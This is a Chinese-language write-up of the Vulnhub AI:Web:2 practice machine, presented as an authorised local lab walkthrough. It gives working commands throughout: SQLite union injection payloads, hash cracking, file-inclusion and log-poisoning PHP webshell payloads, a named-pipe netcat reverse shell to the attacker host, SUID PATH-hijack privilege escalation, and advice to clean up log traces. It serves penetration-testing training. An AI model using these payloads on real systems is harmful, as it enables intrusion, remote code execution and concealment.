Vulnhub AI:Web:2靶机渗透实战:SQL注入到LFI日志注入与SUID提权 Vulnhub平台上的AI:Web:2这台靶机说实话很适合正在练Web渗透的人打一遍。它把SQL注入、本地文件包含、日志注入拿Shell、SUID权限提升这几个点串成了一条完整的攻击链难度中等但每一步都有值得抠的细节。我最初打这台的时候在SQL注入阶段卡得比较久后来复盘发现问题出在我太依赖自动化工具忽略了手工验证响应差异。本文我会以一次实操记录的形式把从信息收集到root权限的完整过程拆开讲命令和参数都会给到希望能帮你少走一些弯路。先说明一下这类靶机只适合放在本地虚拟环境里做授权攻防练习用来训练思路、练手命令别把它当成攻击真实目标的模板。AI:Web:2的价值在于它足够贴近真实Web应用的常见漏洞组合打完之后你对“信息收集决定渗透效率”这句话会有很深的体会。适合刚入门Web安全、想完整跑通一条攻击链的人也适合准备面试前用来巩固基本功。下面进入正题。1. 靶机定位与整体攻击路线设计1.1 练这台靶机到底练什么AI:Web:2不是那种一个漏洞通关的靶机它更像一个小型Web应用的浓缩版。渗透过程中你会遇到典型的SQL注入点、需要绕过的登录后台、可疑的文件包含参数以及最后卡住很多人的SUID提权。每到一个环节都得用上一环拿到的信息作为下一环的钥匙这种环环相扣的设计恰好模拟了真实攻击中最常见的状态手里线索很多但真正有用的只有那么几条。从训练角度看这台靶机重点考察三块基本功。第一是信息收集的耐心端口、目录、页面源码、响应头都要过一遍很多入口就藏在容易忽略的地方。第二是SQL注入的手工能力包括判断注入点、确认列数、定位回显位、查库查表查数据整个过程最好先手注一遍再用工具验证。第三是拿到WebShell之后的权限提升思路SUID程序排查和利用属于系统层面的基本功正好把Web渗透和内网横向的思路串起来。1.2 攻击链路总览从SQL注入到root我在本地模拟环境复现这台靶机时完整跑通的链路是这样的首先通过端口扫描和目录枚举发现主站存在一个带参数的动态页面接着手工测试发现参数存在SQL注入从数据库里挖出后台用户的账号密码哈希破解哈希后登录管理后台在后台页面里发现本地文件包含参数利用LFI配合日志注入让服务器在访问日志里写下PHP代码并包含执行拿到低权限WebShell最后在系统里找到具有SUID权限的特殊二进制程序利用它完成权限提升读取到root目录下的flag。链路本身不算复杂但每一环都有可扩展的知识点。比如SQL注入部分涉及SQLite数据库的查询语法和常见的MySQL略有差异很多人在这里踩坑LFI部分要解决日志路径、特殊字符编码、过滤绕过等问题SUID提权则需要对目标程序做字符串审计看清楚它到底以什么方式调用系统命令。整套走下来你对漏洞之间如何关联会有更直观的理解。1.3 环境准备与网络配置准备环境这一步其实很多人会忽略结果卡在最开始。我用的是VirtualBox加Kali虚拟机靶机导入后建议把虚拟网卡设为Host-Only模式让Kali和靶机处于同一网段。启动靶机后用ip a或arp-scan确认它的IP我这次分到的是192.168.56.103你自己环境里可能会不一样后面所有命令里的IP地址记得替换。另外需要注意电源管理设置曾经遇到过靶机启动后网络接口一直拿不到地址的情况后来发现是虚拟机的DHCP没有生效手动把靶机网卡重启一下就好。Kali这边也要确认防火墙不会拦截扫描流量我用的是默认配置没做额外调整。准备好之后先ping一下靶机IP确认连通再开始扫描。2. 信息收集端口、目录、指纹一个都不能少2.1 全端口扫描与指纹识别信息收集阶段我习惯先做一次全端口扫描再针对开放端口做服务版本探测。命令是nmap -sC -sV -p- 192.168.56.103-sC加载默认脚本-sV探测服务版本-p-扫全部65535个端口。全端口扫描在靶机上通常几十秒就完成但真实环境里可能会很慢建议根据场景调整。结果出来之后重点看80端口Web服务是主要入口其他端口如果开着SSH先记下来备用。22/tcp open ssh OpenSSH 7.2p2 Ubuntu 80/tcp open http Apache httpd 2.4.18看到Apache和Ubuntu的版本信息心里大概有数了。接着用curl -I看看HTTP响应头确认具体的技术栈比如是否使用PHP、有没有常见的框架指纹。响应头里不会直接告诉你漏洞但能帮你在后续测试中判断过滤逻辑的写法比如是参数过滤还是WAF拦截从报错页面风格就能猜个大概。2.2 目录枚举robots.txt和隐藏路径端口扫描之后不能急着跑漏洞先把目录枚举做一遍。我用的工具是gobuster命令如下gobuster dir -u http://192.168.56.103 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 50-x参数很重要因为HTTP服务解析的是PHP单纯枚举目录会漏掉index.php这类文件加上常见扩展名能提高命中率。扫描结果里出现了/admin、/secrects、/dev等路径其中/secrects这个名字拼写都比较特殊一看就是故意留下的线索。打开之后里面有一段提示指向这个站点的某个配置文件或者隐藏参数因此不要只看目录名字就下结论页面内容往往才是真正有用的信息。robots.txt也不能漏。很多靶机喜欢在robots里放一个Disallow路径看起来像隐藏目录实际是作者想让你发现的路标。我用浏览器直接访问根路径的robots.txt果然看到了几个禁止爬虫访问的路径其中有一个正好在后续SQL注入拖库时用得上。2.3 功能点梳理哪些参数值得多看一眼目录和文件枚举结束之后把站点的功能点整理一遍。主页是一个带留言/评论功能的小应用有几个动态参数出现在URL里比如view.php?id1、pagehome这种。这类参数是Web渗透里最容易出问题的地方id往往对应数据库查询page往往对应文件包含两个点都值得专门测试。我习惯先手工点一遍页面把正常响应保存下来再逐一测试参数。比如view.php?id1正常显示一条记录view.php?id2显示另一条这时候脑子里就要绷起一根弦这个参数和数据库交互可以去试试注入。另外页面源码里的注释、隐藏表单字段也别跳过我曾经在一个input typehidden namedebug value0字段上耽误过不少时间很多时候开发留下的调试参数就是突破口。这个站点源码里虽然没有明显注释但后台路径已经泄露出了一些结构信息接下来重点转向SQL注入测试。3. SQL注入利用与后台认证突破3.1 手工验证注入点报错、列数、回显很多人一上来就用sqlmap跑结果工具扫不出或者跑了半天没输出就开始怀疑靶机有问题。实际上这台靶机的注入点并不复杂手工测试更快。先在参数后面加一个单引号http://192.168.56.103/view.php?id1页面返回了数据库报错信息说明输入被直接拼进了SQL语句。再试id1-- -页面恢复正常到这里基本可以确定存在字符型注入。接下来判断列数用ORDER BY逐个试id1 ORDER BY 1-- - 正常 id1 ORDER BY 2-- - 正常 id1 ORDER BY 3-- - 正常 id1 ORDER BY 4-- - 报错3列记下来。然后让前面的查询结果为空用联合查询找回显位id-1 UNION SELECT 1,2,3-- -页面在对应位置输出了2和3说明这两个字段可以直接显示查询结果。把其中的数字换成SQL函数或子查询就能一步步拖出数据库里的信息。这里手工验证的价值就体现出来了你可以看到每个请求的真实响应差异而sqlmap在遇到过滤时可能会直接放弃或误判。3.2 从数据库里挖出后台账号密码确定回显位后下一步查库。页面报错信息里透露了一丝线索报错格式像是SQLite我就顺着这个思路继续。SQLite查询系统表的方式和MySQL不一样不查information_schema而是查sqlite_masterid-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE typetable-- -返回结果里出现了users表。接着查这张表的字段结构SQLite里可以把创建表的SQL直接读出来id-1 UNION SELECT 1,sql,3 FROM sqlite_master WHERE nameusers-- -看到username和password两个字段直接拖数据。SQLite字符串拼接用||和MySQL的concat不一样别搞混了id-1 UNION SELECT 1,group_concat(username||:||password),3 FROM users-- -拿到了类似webadmin:a7b...这样的哈希值。哈希看起来像MD5先别急着翻库用john加rockyou字典跑一下echo a7b... hash.txt john --wordlist/usr/share/wordlists/rockyou.txt --formatRaw-MD5 hash.txt弱密码几秒钟就出来了。拿到明文密码后结合刚才目录枚举时发现的后台路径登录入口基本锁定。这里补一句如果拖出来的哈希不是MD5也别慌先用hashid或hashcat --example-hashes判断哈希类型再选破解模式。另外字典跑不出来的话考虑规则攻击--rules或者换更大字典但靶机场景下弱密码命中率通常很高。3.3 登录后台与认证绕过思路带着账密访问/admin输入刚才破解出来的账号密码顺利进入后台。后台界面功能不多但有一个文件上传位置和一个类似页面预览的参数看到这种结构心里基本有数了上传点大概率有过滤文件包含参数后面用得上。如果遇到登录框直接绕过也有固定套路。拿不到密码时可以先试探SQL注入绕过比如在用户名框输入admin or 11-- -密码随便填很多粗糙的登录验证就是这样被绕过的。但AI:Web:2显然在登录逻辑上做的比较规范这种情况下老老实实从数据里找账密更靠谱。登录之后别急着点来点去先看后台URL是否有pagehome、filexxx之类的参数这类参数往往指向文件包含漏洞是下一步的关键。4. 从后台到WebShell文件包含与日志注入4.1 本地文件包含的发现与利用进入后台后我注意到页面URL变成了admin.php?pagehome切换菜单时page参数会跟着变化比如变成pagesettings。这类参数十有八九会把用户输入拼到文件路径里我直接尝试读取系统文件admin.php?page../../../../etc/passwd页面把/etc/passwd的内容显示出来了包含root、www-data这些系统账号说明存在本地文件包含漏洞。但继续读取/etc/shadow时报了权限错误这很正常Apache进程没有权限读取shadow文件。接着尝试用php://filter读取源码admin.php?pagephp://filter/convert.base64-encode/resourceindex.php拿到base64编码的源码解码后能看到应用的核心逻辑包括数据库连接方式、文件包含的路径拼接规则。这个步骤的价值在于通过源码你能确定过滤了哪些字符、是否限制目录前缀以及日志文件到底放在哪里。我读源码后发现包含逻辑只检查了路径中是否包含../但用....//这种变形可以绕过说明过滤并不严格。4.2 日志注入让服务器自己执行代码LFI能读文件还不够目标是执行命令。日志注入是经典思路把PHP代码写进服务器日志再用LFI把日志文件包含进来执行。先确认日志路径常见的有/var/log/apache2/access.log和/var/log/auth.log我用page/var/log/apache2/access.log试了一下页面确实显示了访问日志内容说明路径正确。接下来向日志里写入PHP代码。最方便的是在User-Agent中写入因为每次HTTP请求都会记录User-Agentcurl -A ?php system(\$_GET[cmd]); ? http://192.168.56.103/admin.php?pagehome然后通过LFI包含日志文件并带上cmd参数执行命令admin.php?page/var/log/apache2/access.logcmdid页面里出现了uid33(www-data)说明命令已经成功执行。这里有一个关键细节日志里记录的User-Agent会保留原始字符串但PHP代码中的特殊字符可能被转义导致执行失败。我遇到过一次PHP标签里的空格被编码成的情况解决办法是把代码写成?php system($_GET[cmd]);?去掉多余空格或者用?短标签。另外访问日志增长很快用LFI包含时返回的内容量会很大基本上在页面上找uid那一段就行。如果Apache日志不可用还可以尝试/var/log/auth.log方法是伪造SSH登录在用户名里写入PHP代码ssh ?php system($_GET[cmd]); ?192.168.56.103认证失败也会被记录到auth.log用户名部分会原样写入。用LFI包含auth.log同样能触发执行。日志注入的关键是确认日志文件可读以及PHP代码没有被破坏路径对了、编码对了基本就能拿Shell。4.3 反弹Shell与交互终端升级LFI执行命令时是非交互式的参数里有空格和特殊字符会被URL编码干扰所以拿到执行权限后第一件事是反弹一个交互Shell。Kali这边先监听nc -lvnp 4444靶机上执行rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.56.104 4444 /tmp/f这条命令用命名管道实现了反弹比bash -i /dev/tcp/...稳定因为PHP执行环境里/dev/tcp不一定可用。Kali这边收到Shell后是www-data权限属于低权限用户接下来要先升级成标准TTY否则后续用su、vi等需要交互的程序会报错python -c import pty;pty.spawn(/bin/bash)再按CtrlZ把会话挂起在Kali本地执行stty raw -echo; fg回车之后Shell就变成全交互模式。这一步虽然不涉及漏洞利用但实战中很影响操作效率建议提前练熟。5. 权限提升、排错与复盘5.1 SUID权限排查与提权实操拿到www-data权限后先看一眼系统的基本信息内核版本、系统发行版、当前用户然后排查SUID文件。find / -perm -4000 -type f 2/dev/null结果里有常见的/usr/bin/sudo、/usr/bin/passwd等但真正值得关注的是一个自定义二进制路径在/usr/local/bin/web。strings看一下它的内容发现它内部调用了cat命令来读取系统文件而且是以root身份运行的。这种场景最常见的提权方式是PATH环境变量劫持。先确认当前PATH包含哪些目录然后在一个可写目录下创建同名cat程序内容是一个反弹Shellecho #!/bin/sh /tmp/cat echo /bin/sh /tmp/cat chmod x /tmp/cat export PATH/tmp:$PATH /usr/local/bin/web因为/usr/local/bin/web以root身份运行时会调用cat而cat被我们替换成了/bin/sh所以执行后直接获得root Shell。如果目标程序调用的系统命令带绝对路径就不能用PATH劫持但常见靶机里用相对路径调用的程序设计基本就是给提权留的后门。还有一种常见情况是SUID程序不知道如何下手建议先strings排查它调用了哪些外部命令、有没有系统调用再去网上对照已知的SUID利用方式。提权思路很多不一定非盯着内核漏洞先看配置错误和自定义脚本往往更快。5.2 读取flag与收尾拿到root权限后常规操作是把Shell切到干净状态然后查看root目录id cat /root/flag.txt靶机通常会在root目录下放一个flag文件名字可能是flag.txt、root.txt、proof.txt内容是一串字符串。读出flag攻击链就算完整跑通了。到这里我习惯重新梳理一遍踩过的点把关键命令记录下来方便之后写测试报告。收尾时别忘了清理痕迹比如日志里写下的PHP代码、上传的临时文件、反弹Shell进程留下的记录。靶机练习虽然不用太在意但养成清理习惯对真实场景有好处。另外如果你在某个环节卡住不建议直接看别人的完整WriteUp先自己琢磨一会儿实在卡住了再对照思路效果比照着抄好得多。5.3 常见问题与排错速查实操过程中容易踩的坑我整理成一个速查表遇到类似情况直接对照排查现象可能原因解决思路单引号加入参数后页面无变化注入点不在该参数或参数被过滤换个参数试或测试POST请求体里的字段ORDER BY 报错位置不明确数据库类型不同导致语法差异根据报错内容判断数据库类型SQLite和MySQL语法不同UNION查询页面只有数字回显无数据回显位判断错误检查联合查询前列数是否正确负数ID是否生效sqlmap跑不出数据工具误判过滤规则用手工注入确认注入点再用--tamper或指定DB类型重跑LFI包含日志无执行结果日志路径不对或PHP代码被转义访问/var/log/apache2/access.log确认日志存在调整代码中的空格与引号编码上传马无法解析扩展名被过滤尝试.phtml、.php5、.php%00等变体或结合LFI直接包含反弹Shell连不上防火墙或命令被执行环境截断换443端口或改用Python、Perl反弹命令SUID提权不生效目标程序调用的是绝对路径命令检查strings输出改用LD_PRELOAD方式或寻找其他SUID文件5.4 打完之后的复盘建议打完AI:Web:2之后别急着换下一台靶机花半小时把攻击链重新走一遍重点思考两个问题第一每条漏洞是怎么被上一环信息引出来的比如后台路径来自目录枚举数据库账号来自SQL注入如果没有这些前置信息后续利用根本无从谈起。第二哪个环节你花了最长时间我在SQL注入上耗时最久原因是手注和工具的结果对不上后来发现是自己没有确认数据库类型导致的这种经验比单纯跑通一次链路更宝贵。复盘的时候我习惯把关键请求记录下来整理成一份精简的测试报告目标信息、漏洞类型、利用方式、影响范围、修复建议。别小看这个习惯真正做项目、做面试的时候能清晰讲出漏洞原理和利用过程的渗透测试人员往往比只会跑工具的人更受认可。把AI:Web:2的核心思路吃透之后可以再去试试类似的靶机把这套方法论迁移过去你会发现很多靶机的攻击路径其实大同小异。最后再分享一点个人的体会AI:Web:2这条链路的价值不在于漏洞本身有多新颖而在于它把信息收集、SQL注入、文件包含、权限提升这些基本功串成了一个完整的故事。我后面再打别的靶机时明显感觉遇到LFI参数会下意识去想能包含什么日志、能读什么源码遇到后台登录会先想数据库里有没有可乘之机。这种思维上的转变靠的就是完整跑通靶机得来的。如果你正卡在某个环节不妨像我一样暂时放下自动化工具用一个浏览器和一个代理工具把请求重放一遍很多问题反而会迎刃而解。